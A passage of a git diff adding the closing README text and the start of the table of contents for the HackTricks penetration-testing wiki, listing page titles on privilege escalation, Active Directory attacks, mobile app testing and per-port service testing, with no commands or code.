+If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**  
+If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book.
+
+## Corporate Sponsors
+
+### \*\*\*\*[**INE**](https://ine.com/)\*\*\*\*
+
+![](.gitbook/assets/ine_logo-3-.jpg)
+
+[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)
+
+\*\*\*\*[**INE**](https://ine.com/) is a great platform to start learning or **improve** your **IT knowledge** through their huge range of **courses**. I personally like and have completed many from the [**cybersecurity section**](https://ine.com/pages/cybersecurity). **INE** also provides with the official courses to prepare the **certifications** from [**eLearnSecurity**](https://elearnsecurity.com/)**.**
+
+Copyright © Carlos Polop 2020. Except where otherwise specified, the text on [HACK TRICKS](https://github.com/carlospolop/hacktricks) by Carlos Polop is licensed under the [**Commons Clause**](https://commonsclause.com/) \(which allow you to use this content freely WITHOUT commercial use\).
+
+#### **Courses and Certifications reviews**
+
+You can find **my reviews of the certifications eMAPT and eWPTXv2** \(and their **respective preparation courses**\) in the following page:
+
+{% page-ref page="courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md" %}
+
+\*\*\*\*
+
+**Copyright © Carlos Polop 2021. Except where otherwise specified, the rights of the text on** [**HACKTRICKS**](https://github.com/carlospolop/hacktricks) **by Carlos Polop are reserved.**
+
diff --git a/SUMMARY.md b/SUMMARY.md
new file mode 100644
index 00000000000..537e9f489f2
--- /dev/null
+++ b/SUMMARY.md
@@ -0,0 +1,580 @@
+# Table of contents
+
+* [HackTricks](README.md)
+* [About the author](about-the-author.md)
+* [Getting Started in Hacking](getting-started-in-hacking.md)
+* [Pentesting Methodology](pentesting-methodology.md)
+* [External Recon Methodology](external-recon-methodology/README.md)
+  * [Github Leaked Secrets](external-recon-methodology/github-leaked-secrets.md)
+* [Phishing Methodology](phishing-methodology/README.md)
+  * [Clone a Website](phishing-methodology/clone-a-website.md)
+  * [Detecting Phising](phishing-methodology/detecting-phising.md)
+  * [Phishing Documents](phishing-methodology/phishing-documents.md)
+* [Exfiltration](exfiltration.md)
+* [Tunneling and Port Forwarding](tunneling-and-port-forwarding.md)
+* [Brute Force - CheatSheet](brute-force.md)
+* [Search Exploits](search-exploits.md)
+
+## Shells
+
+* [Shells \(Linux, Windows, MSFVenom\)](shells/shells/README.md)
+  * [MSFVenom - CheatSheet](shells/shells/msfvenom.md)
+  * [Shells - Windows](shells/shells/windows.md)
+  * [Shells - Linux](shells/shells/linux.md)
+  * [Full TTYs](shells/shells/full-ttys.md)
+
+## Linux/Unix
+
+* [Checklist - Linux Privilege Escalation](linux-unix/linux-privilege-escalation-checklist.md)
+* [Linux Privilege Escalation](linux-unix/privilege-escalation/README.md)
+  * [PAM - Pluggable Authentication Modules](linux-unix/privilege-escalation/pam-pluggable-authentication-modules.md)
+  * [SELinux](linux-unix/privilege-escalation/selinux.md)
+  * [Logstash](linux-unix/privilege-escalation/logstash.md)
+  * [AppArmor](linux-unix/privilege-escalation/apparmor.md)
+  * [Containerd \(ctr\) Privilege Escalation](linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md)
+  * [Docker Breakout](linux-unix/privilege-escalation/docker-breakout.md)
+  * [electron/CEF/chromium debugger abuse](linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md)
+  * [Escaping from Jails](linux-unix/privilege-escalation/escaping-from-limited-bash.md)
+  * [Cisco - vmanage](linux-unix/privilege-escalation/cisco-vmanage.md)
+  * [D-Bus Enumeration & Command Injection Privilege Escalation](linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md)
+  * [Interesting Groups - Linux PE](linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md)
+    * [lxd/lxc Group - Privilege escalation](linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md)
+  * [ld.so exploit example](linux-unix/privilege-escalation/ld.so.conf-example.md)
+  * [Linux Capabilities](linux-unix/privilege-escalation/linux-capabilities.md)
+  * [NFS no\_root\_squash/no\_all\_squash misconfiguration PE](linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
+  * [Payloads to execute](linux-unix/privilege-escalation/payloads-to-execute.md)
+  * [RunC Privilege Escalation](linux-unix/privilege-escalation/runc-privilege-escalation.md)
+  * [Seccomp](linux-unix/privilege-escalation/seccomp.md)
+  * [Splunk LPE and Persistence](linux-unix/privilege-escalation/splunk-lpe-and-persistence.md)
+  * [SSH Forward Agent exploitation](linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md)
+  * [Socket Command Injection](linux-unix/privilege-escalation/socket-command-injection.md)
+  * [Wildcards Spare tricks](linux-unix/privilege-escalation/wildcards-spare-tricks.md)
+* [Useful Linux Commands](linux-unix/useful-linux-commands/README.md)
+  * [Bypass Bash Restrictions](linux-unix/useful-linux-commands/bypass-bash-restrictions.md)
+* [Linux Environment Variables](linux-unix/linux-environment-variables.md)
+
+## MacOS
+
+* [MacOS Security & Privilege Escalation](macos/macos-security-and-privilege-escalation/README.md)
+  * [Mac OS Architecture](macos/macos-security-and-privilege-escalation/mac-os-architecture.md)
+  * [MacOS MDM](macos/macos-security-and-privilege-escalation/macos-mdm/README.md)
+    * [Enrolling Devices in Other Organisations](macos/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md)
+  * [MacOS Protocols](macos/macos-security-and-privilege-escalation/macos-protocols.md)
+  * [MacOS Red Teaming](macos/macos-security-and-privilege-escalation/macos-red-teaming.md)
+  * [MacOS Serial Number](macos/macos-security-and-privilege-escalation/macos-serial-number.md)
+  * [MacOS Apps - Inspecting, debugging and Fuzzing](macos/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md)
+
+## Windows
+
+* [Checklist - Local Windows Privilege Escalation](windows/checklist-windows-privilege-escalation.md)
+* [Windows Local Privilege Escalation](windows/windows-local-privilege-escalation/README.md)
+  * [AppendData/AddSubdirectory permission over service registry](windows/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md)
+  * [Create MSI with WIX](windows/windows-local-privilege-escalation/create-msi-with-wix.md)
+  * [DPAPI - Extracting Passwords](windows/windows-local-privilege-escalation/dpapi-extracting-passwords.md)
+  * [SeImpersonate from High To System](windows/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md)
+  * [Access Tokens](windows/windows-local-privilege-escalation/access-tokens.md)
+  * [ACLs - DACLs/SACLs/ACEs](windows/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
+  * [Dll Hijacking](windows/windows-local-privilege-escalation/dll-hijacking.md)
+  * [From High Integrity to SYSTEM with Name Pipes](windows/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md)
+  * [Integrity Levels](windows/windows-local-privilege-escalation/integrity-levels.md)
+  * [JAWS](windows/windows-local-privilege-escalation/jaws.md)
+  * [JuicyPotato](windows/windows-local-privilege-escalation/juicypotato.md)
+  * [Leaked Handle Exploitation](windows/windows-local-privilege-escalation/leaked-handle-exploitation.md)
+  * [MSI Wrapper](windows/windows-local-privilege-escalation/msi-wrapper.md)
+  * [Named Pipe Client Impersonation](windows/windows-local-privilege-escalation/named-pipe-client-impersonation.md)
+  * [PowerUp](windows/windows-local-privilege-escalation/powerup.md)
+  * [Privilege Escalation Abusing Tokens](windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
+  * [Privilege Escalation with Autoruns](windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md)
+  * [RottenPotato](windows/windows-local-privilege-escalation/rottenpotato.md)
+  * [Seatbelt](windows/windows-local-privilege-escalation/seatbelt.md)
+  * [SeDebug + SeImpersonate copy token](windows/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md)
+  * [Windows C Payloads](windows/windows-local-privilege-escalation/windows-c-payloads.md)
+* [Active Directory Methodology](windows/active-directory-methodology/README.md)
+  * [Abusing Active Directory ACLs/ACEs](windows/active-directory-methodology/acl-persistence-abuse.md)
+  * [AD information in printers](windows/active-directory-methodology/ad-information-in-printers.md)
+  * [ASREPRoast](windows/active-directory-methodology/asreproast.md)
+  * [BloodHound](windows/active-directory-methodology/bloodhound.md)
+  * [Constrained Delegation](windows/active-directory-methodology/constrained-delegation.md)
+  * [Custom SSP](windows/active-directory-methodology/custom-ssp.md)
+  * [DCShadow](windows/active-directory-methodology/dcshadow.md)
+  * [DCSync](windows/active-directory-methodology/dcsync.md)
+  * [DSRM Credentials](windows/active-directory-methodology/dsrm-credentials.md)
+  * [Golden Ticket](windows/active-directory-methodology/golden-ticket.md)
+  * [Kerberos Authentication](windows/active-directory-methodology/kerberos-authentication.md)
+  * [Kerberoast](windows/active-directory-methodology/kerberoast.md)
+  * [MSSQL Trusted Links](windows/active-directory-methodology/mssql-trusted-links.md)
+  * [Over Pass the Hash/Pass the Key](windows/active-directory-methodology/over-pass-the-hash-pass-the-key.md)
+  * [Pass the Ticket](windows/active-directory-methodology/pass-the-ticket.md)
+  * [Password Spraying](windows/active-directory-methodology/password-spraying.md)
+  * [Force NTLM Privileged Authentication](windows/active-directory-methodology/printers-spooler-service-abuse.md)
+  * [Privileged Accounts and Token Privileges](windows/active-directory-methodology/privileged-accounts-and-token-privileges.md)
+  * [Resource-based Constrained Delegation](windows/active-directory-methodology/resource-based-constrained-delegation.md)
+  * [Security Descriptors](windows/active-directory-methodology/security-descriptors.md)
+  * [Silver Ticket](windows/active-directory-methodology/silver-ticket.md)
+  * [Skeleton Key](windows/active-directory-methodology/skeleton-key.md)
+  * [Unconstrained Delegation](windows/active-directory-methodology/unconstrained-delegation.md)
+* [NTLM](windows/ntlm/README.md)
+  * [Places to steal NTLM creds](windows/ntlm/places-to-steal-ntlm-creds.md)
+  * [PsExec/Winexec/ScExec](windows/ntlm/psexec-and-winexec.md)
+  * [SmbExec/ScExec](windows/ntlm/smbexec.md)
+  * [WmicExec](windows/ntlm/wmicexec.md)
+  * [AtExec / SchtasksExec](windows/ntlm/atexec.md)
+  * [WinRM](windows/ntlm/winrm.md)
+* [Stealing Credentials](windows/stealing-credentials/README.md)
+  * [Credentials Protections](windows/stealing-credentials/credentials-protections.md)
+  * [Mimikatz](windows/stealing-credentials/credentials-mimikatz.md)
+* [Authentication, Credentials, UAC and EFS](windows/authentication-credentials-uac-and-efs.md)
+* [Basic CMD for Pentesters](windows/basic-cmd-for-pentesters.md)
+* [Basic PowerShell for Pentesters](windows/basic-powershell-for-pentesters/README.md)
+  * [PowerView](windows/basic-powershell-for-pentesters/powerview.md)
+* [AV Bypass](windows/av-bypass.md)
+
+## Mobile Apps Pentesting
+
+* [Android APK Checklist](mobile-apps-pentesting/android-checklist.md)
+* [Android Applications Pentesting](mobile-apps-pentesting/android-app-pentesting/README.md)
+  * [Android Applications Basics](mobile-apps-pentesting/android-app-pentesting/android-applications-basics.md)
+  * [Android Task Hijacking](mobile-apps-pentesting/android-app-pentesting/android-task-hijacking.md)
+  * [ADB Commands](mobile-apps-pentesting/android-app-pentesting/adb-commands.md)
+  * [APK decompilers](mobile-apps-pentesting/android-app-pentesting/apk-decompilers.md)
+  * [AVD - Android Virtual Device](mobile-apps-pentesting/android-app-pentesting/avd-android-virtual-device.md)
+  * [Burp Suite Configuration for Android](mobile-apps-pentesting/android-app-pentesting/android-burp-suite-settings.md)
+  * [content:// protocol](mobile-apps-pentesting/android-app-pentesting/content-protocol.md)
+  * [Drozer Tutorial](mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/README.md)
+    * [Exploiting Content Providers](mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
+  * [Exploiting a debuggeable applciation](mobile-apps-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
+  * [Frida Tutorial](mobile-apps-pentesting/android-app-pentesting/frida-tutorial/README.md)
+    * [Frida Tutorial 1](mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
+    * [Frida Tutorial 2](mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
+    * [Frida Tutorial 3](mobile-apps-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
+    * [Objection Tutorial](mobile-apps-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
+  * [Google CTF 2018 - Shall We Play a Game?](mobile-apps-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
+  * [Inspeckage Tutorial](mobile-apps-pentesting/android-app-pentesting/inspeckage-tutorial.md)
+  * [Intent Injection](mobile-apps-pentesting/android-app-pentesting/intent-injection.md)
+  * [Make APK Accept CA Certificate](mobile-apps-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md)
+  * [Manual DeObfuscation](mobile-apps-pentesting/android-app-pentesting/manual-deobfuscation.md)
+  * [React Native Application](mobile-apps-pentesting/android-app-pentesting/react-native-application.md)
+  * [Reversing Native Libraries](mobile-apps-pentesting/android-app-pentesting/reversing-native-libraries.md)
+  * [Smali - Decompiling/\[Modifying\]/Compiling](mobile-apps-pentesting/android-app-pentesting/smali-changes.md)
+  * [Spoofing your location in Play Store](mobile-apps-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md)
+  * [Webview Attacks](mobile-apps-pentesting/android-app-pentesting/webview-attacks.md)
+* [iOS Pentesting Checklist](mobile-apps-pentesting/ios-pentesting-checklist.md)
+* [iOS Pentesting](mobile-apps-pentesting/ios-pentesting/README.md)
+  * [Basic iOS Testing Operations](mobile-apps-pentesting/ios-pentesting/basic-ios-testing-operations.md)
+  * [Burp Suite Configuration for iOS](mobile-apps-pentesting/ios-pentesting/burp-configuration-for-ios.md)
+  * [Extracting Entitlements From Compiled Application](mobile-apps-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
+  * [Frida Configuration in iOS](mobile-apps-pentesting/ios-pentesting/frida-configuration-in-ios.md)
+  * [iOS App Extensions](mobile-apps-pentesting/ios-pentesting/ios-app-extensions.md)
+  * [iOS Basics](mobile-apps-pentesting/ios-pentesting/ios-basics.md)
+  * [iOS Custom URI Handlers / Deeplinks / Custom Schemes](mobile-apps-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md)
+  * [iOS Hooking With Objection](mobile-apps-pentesting/ios-pentesting/ios-hooking-with-objection.md)
+  * [iOS Protocol Handlers](mobile-apps-pentesting/ios-pentesting/ios-protocol-handlers.md)
+  * [iOS Serialisation and Encoding](mobile-apps-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
+  * [iOS Testing Environment](mobile-apps-pentesting/ios-pentesting/ios-testing-environment.md)
+  * [iOS UIActivity Sharing](mobile-apps-pentesting/ios-pentesting/ios-uiactivity-sharing.md)
+  * [iOS Universal Links](mobile-apps-pentesting/ios-pentesting/ios-universal-links.md)
+  * [iOS UIPasteboard](mobile-apps-pentesting/ios-pentesting/ios-uipasteboard.md)
+  * [iOS WebViews](mobile-apps-pentesting/ios-pentesting/ios-webviews.md)
+
+## Pentesting
+
+* [Pentesting Network](pentesting/pentesting-network/README.md)
+  * [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
+  * [Spoofing SSDP and UPnP Devices with EvilSSDP](pentesting/pentesting-network/spoofing-ssdp-and-upnp-devices.md)
+  * [Wifi Attacks](pentesting/pentesting-network/wifi-attacks/README.md)
+    * [Evil Twin EAP-TLS](pentesting/pentesting-network/wifi-attacks/evil-twin-eap-tls.md)
+  * [Pentesting IPv6](pentesting/pentesting-network/pentesting-ipv6.md)
+  * [Nmap Summary \(ESP\)](pentesting/pentesting-network/nmap-summary-esp.md)
+  * [Network Protocols Explained \(ESP\)](pentesting/pentesting-network/network-protocols-explained-esp.md)
+  * [IDS and IPS Evasion](pentesting/pentesting-network/ids-evasion.md)
+  * [DHCPv6](pentesting/pentesting-network/dhcpv6.md)
+* [Pentesting JDWP - Java Debug Wire Protocol](pentesting/pentesting-jdwp-java-debug-wire-protocol.md)
+* [Pentesting Printers](pentesting/pentesting-printers/README.md)
+  * [Accounting bypass](pentesting/pentesting-printers/accounting-bypass.md)
+  * [Buffer Overflows](pentesting/pentesting-printers/buffer-overflows.md)
+  * [Credentials Disclosure / Brute-Force](pentesting/pentesting-printers/credentials-disclosure-brute-force.md)
+  * [Cross-Site Printing](pentesting/pentesting-printers/cross-site-printing.md)
+  * [Document Processing](pentesting/pentesting-printers/document-processing.md)
+  * [Factory Defaults](pentesting/pentesting-printers/factory-defaults.md)
+  * [File system access](pentesting/pentesting-printers/file-system-access.md)
+  * [Firmware updates](pentesting/pentesting-printers/firmware-updates.md)
+  * [Memory Access](pentesting/pentesting-printers/memory-access.md)
+  * [Physical Damage](pentesting/pentesting-printers/physical-damage.md)
+  * [Software packages](pentesting/pentesting-printers/software-packages.md)
+  * [Transmission channel](pentesting/pentesting-printers/transmission-channel.md)
+  * [Print job manipulation](pentesting/pentesting-printers/print-job-manipulation.md)
+  * [Print Job Retention](pentesting/pentesting-printers/print-job-retention.md)
+  * [Scanner and Fax](pentesting/pentesting-printers/scanner-and-fax.md)
+* [Pentesting SAP](pentesting/pentesting-sap.md)
+* [Pentesting Kubernetes](pentesting/pentesting-kubernetes/README.md)
+  * [Enumeration from a Pod](pentesting/pentesting-kubernetes/enumeration-from-a-pod.md)
+  * [Hardening Roles/ClusterRoles](pentesting/pentesting-kubernetes/hardening-roles-clusterroles.md)
+  * [Pentesting Kubernetes from the outside](pentesting/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md)
+* [7/tcp/udp - Pentesting Echo](pentesting/7-tcp-udp-pentesting-echo.md)
+* [21 - Pentesting FTP](pentesting/pentesting-ftp/README.md)
+  * [FTP Bounce attack - Scan](pentesting/pentesting-ftp/ftp-bounce-attack.md)
+  * [FTP Bounce - Download 2ºFTP file](pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md)
+* [22 - Pentesting SSH/SFTP](pentesting/pentesting-ssh.md)
+* [23 - Pentesting Telnet](pentesting/pentesting-telnet.md)
+* [25,465,587 - Pentesting SMTP/s](pentesting/pentesting-smtp/README.md)
+  * [SMTP - Commands](pentesting/pentesting-smtp/smtp-commands.md)
+* [43 - Pentesting WHOIS](pentesting/43-pentesting-whois.md)
+* [53 - Pentesting DNS](pentesting/pentesting-dns.md)
+* [69/UDP TFTP/Bittorrent-tracker](pentesting/69-udp-tftp.md)
+* [79 - Pentesting Finger](pentesting/pentesting-finger.md)
+* [80,443 - Pentesting Web Methodology](pentesting/pentesting-web/README.md)
+  * [AEM - Adobe Experience Cloud](pentesting/pentesting-web/aem-adobe-experience-cloud.md)
+  * [Apache](pentesting/pentesting-web/apache.md)
+  * [Artifactory Hacking guide](pentesting/pentesting-web/artifactory-hacking-guide.md)
+  * [Buckets](pentesting/pentesting-web/buckets/README.md)
+    * [Firebase Database](pentesting/pentesting-web/buckets/firebase-database.md)
+    * [AWS-S3](pentesting/pentesting-web/buckets/aws-s3.md)
+  * [CGI](pentesting/pentesting-web/cgi.md)
+  * [Code Review Tools](pentesting/pentesting-web/code-review-tools.md)
+  * [Drupal](pentesting/pentesting-web/drupal.md)
+  * [Flask](pentesting/pentesting-web/flask.md)
+  * [Git](pentesting/pentesting-web/git.md)
+  * [Golang](pentesting/pentesting-web/golang.md)
+  * [GraphQL](pentesting/pentesting-web/graphql.md)
+  * [H2 - Java SQL database](pentesting/pentesting-web/h2-java-sql-database.md)
+  * [IIS - Internet Information Services](pentesting/pentesting-web/iis-internet-information-services.md)
+  * [JBOSS](pentesting/pentesting-web/jboss.md)
+  * [Jenkins](pentesting/pentesting-web/jenkins.md)
+  * [JIRA](pentesting/pentesting-web/jira.md)
+  * [Joomla](pentesting/pentesting-web/joomla.md)
+  * [JSP](pentesting/pentesting-web/jsp.md)
+  * [Laravel](pentesting/pentesting-web/laravel.md)
+  * [Moodle](pentesting/pentesting-web/moodle.md)
+  * [Nginx](pentesting/pentesting-web/nginx.md)
+  * [PHP Tricks \(SPA\)](pentesting/pentesting-web/php-tricks-esp/README.md)
+    * [PHP - Useful Functions & disable\_functions/open\_basedir bypass](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
+      * [disable\_functions bypass - php-fpm/FastCGI](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
+      * [disable\_functions bypass - dl function](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md)
+      * [disable\_functions bypass - PHP 7.0-7.4 \(\*nix only\)](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md)
+      * [disable\_functions bypass - Imagick &lt;= 3.3.0 PHP &gt;= 5.4 Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md)
+      * [disable\_functions - PHP 5.x Shellshock Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md)
+      * [disable\_functions - PHP 5.2.4 ionCube extension Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md)
+      * [disable\_functions bypass - PHP &lt;= 5.2.9 on windows](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md)
+      * [disable\_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md)
+      * [disable\_functions bypass - PHP safe\_mode bypass via proc\_open\(\) and custom environment Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md)
+      * [disable\_functions bypass - PHP Perl Extension Safe\_mode Bypass Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md)
+      * [disable\_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md)
+      * [disable\_functions bypass - PHP 5.2 - FOpen Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md)
+      * [disable\_functions bypass - via mem](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md)
+      * [disable\_functions bypass - mod\_cgi](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md)
+      * [disable\_functions bypass - PHP 4 &gt;= 4.2.0, PHP 5 pcntl\_exec](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md)
+  * [Python](pentesting/pentesting-web/python.md)
+  * [Spring Actuators](pentesting/pentesting-web/spring-actuators.md)
+  * [Symphony](pentesting/pentesting-web/symphony.md)
+  * [Tomcat](pentesting/pentesting-web/tomcat.md)
+  * [Uncovering CloudFlare](pentesting/pentesting-web/uncovering-cloudflare.md)
+  * [VMWare \(ESX, VCenter...\)](pentesting/pentesting-web/vmware-esx-vcenter....md)
+  * [Web API Pentesting](pentesting/pentesting-web/web-api-pentesting.md)
+  * [WebDav](pentesting/pentesting-web/put-method-webdav.md)
+  * [werkzeug](pentesting/pentesting-web/werkzeug.md)
+  * [Wordpress](pentesting/pentesting-web/wordpress.md)
+  * [XSS to RCE Electron Desktop Apps](pentesting/pentesting-web/xss-to-rce-electron-desktop-apps.md)
+* [88tcp/udp - Pentesting Kerberos](pentesting/pentesting-kerberos-88/README.md)
+  * [Harvesting tickets from Windows](pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
+  * [Harvesting tickets from Linux](pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
+* [110,995 - Pentesting POP](pentesting/pentesting-pop.md)
+* [111/TCP/UDP - Pentesting Portmapper](pentesting/pentesting-rpcbind.md)
+* [113 - Pentesting Ident](pentesting/113-pentesting-ident.md)
+* [123/udp - Pentesting NTP](pentesting/pentesting-ntp.md)
+* [135, 593 - Pentesting MSRPC](pentesting/135-pentesting-msrpc.md)
+* [137,138,139 - Pentesting NetBios](pentesting/137-138-139-pentesting-netbios.md)
+* [139,445 - Pentesting SMB](pentesting/pentesting-smb.md)
+* [143,993 - Pentesting IMAP](pentesting/pentesting-imap.md)
+* [161,162,10161,10162/udp - Pentesting SNMP](pentesting/pentesting-snmp/README.md)
+  * [SNMP RCE](pentesting/pentesting-snmp/snmp-rce.md)
+* [194,6667,6660-7000 - Pentesting IRC](pentesting/pentesting-irc.md)
+* [264 - Pentesting Check Point FireWall-1](pentesting/pentesting-264-check-point-firewall-1.md)
+* [389, 636, 3268, 3269 - Pentesting LDAP](pentesting/pentesting-ldap.md)
+* [500/udp - Pentesting IPsec/IKE VPN](pentesting/ipsec-ike-vpn-pentesting.md)
+* [502 - Pentesting Modbus](pentesting/pentesting-modbus.md)
+* [512 - Pentesting Rexec](pentesting/512-pentesting-rexec.md)
+* [513 - Pentesting Rlogin](pentesting/pentesting-rlogin.md)
+* [514 - Pentesting Rsh](pentesting/pentesting-rsh.md)
+* [515 - Pentesting Line Printer Daemon \(LPD\)](pentesting/515-pentesting-line-printer-daemon-lpd.md)
+* [548 - Pentesting Apple Filing Protocol \(AFP\)](pentesting/584-pentesting-afp.md)
+* [554,8554 - Pentesting RTSP](pentesting/554-8554-pentesting-rtsp.md)
+* [623/UDP/TCP - IPMI](pentesting/623-udp-ipmi.md)
+* [631 - Internet Printing Protocol\(IPP\)](pentesting/pentesting-631-internet-printing-protocol-ipp.md)
+* [873 - Pentesting Rsync](pentesting/873-pentesting-rsync.md)
+* [1026 - Pentesting Rusersd](pentesting/1026-pentesting-rusersd.md)
+* [1080 - Pentesting Socks](pentesting/1080-pentesting-socks.md)
+* [1098/1099/1050 - Pentesting Java RMI - RMI-IIOP](pentesting/1099-pentesting-java-rmi.md)
+* [1433 - Pentesting MSSQL - Microsoft SQL Server](pentesting/pentesting-mssql-microsoft-sql-server.md)
+* [1521,1522-1529 - Pentesting Oracle TNS Listener](pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
+  * [Oracle Pentesting requirements installation](pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
+  * [TNS Poison](pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md)
+  * [Remote stealth pass brute force](pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md)
+  * [Oracle RCE & more](pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md)
+* [1723 - Pentesting PPTP](pentesting/1723-pentesting-pptp.md)
+* [1883 - Pentesting MQTT \(Mosquitto\)](pentesting/1883-pentesting-mqtt-mosquitto.md)
+* [2049 - Pentesting NFS Service](pentesting/nfs-service-pentesting.md)
+* [2301,2381 - Pentesting Compaq/HP Insight Manager](pentesting/pentesting-compaq-hp-insight-manager.md)
+* [2375, 2376 Pentesting Docker](pentesting/2375-pentesting-docker.md)
+* [3128 - Pentesting Squid](pentesting/3128-pentesting-squid.md)
+* [3260 - Pentesting ISCSI](pentesting/3260-pentesting-iscsi.md)
+* [3299 - Pentesting SAPRouter](pentesting/3299-pentesting-saprouter.md)
+* [3306 - Pentesting Mysql](pentesting/pentesting-mysql.md)
+* [3389 - Pentesting RDP](pentesting/pentesting-rdp.md)
+* [3632 - Pentesting distcc](pentesting/3632-pentesting-distcc.md)
+* [3690 - Pentesting Subversion \(svn server\)](pentesting/3690-pentesting-subversion-svn-server.md)
+* [4369 - Pentesting Erlang Port Mapper Daemon \(epmd\)](pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md)
+* [5000 - Pentesting Docker Registry](pentesting/5000-pentesting-docker-registry.md)
+* [5353/UDP Multicast DNS \(mDNS\)](pentesting/5353-udp-multicast-dns-mdns.md)
+* [5432,5433 - Pentesting Postgresql](pentesting/pentesting-postgresql.md)
+* [5601 - Pentesting Kibana](pentesting/5601-pentesting-kibana.md)
+* [5671,5672 - Pentesting AMQP](pentesting/5671-5672-pentesting-amqp.md)
+* [5800,5801,5900,5901 - Pentesting VNC](pentesting/pentesting-vnc.md)
+* [5984,6984 - Pentesting CouchDB](pentesting/5984-pentesting-couchdb.md)
+* [5985,5986 - Pentesting WinRM](pentesting/5985-5986-pentesting-winrm.md)
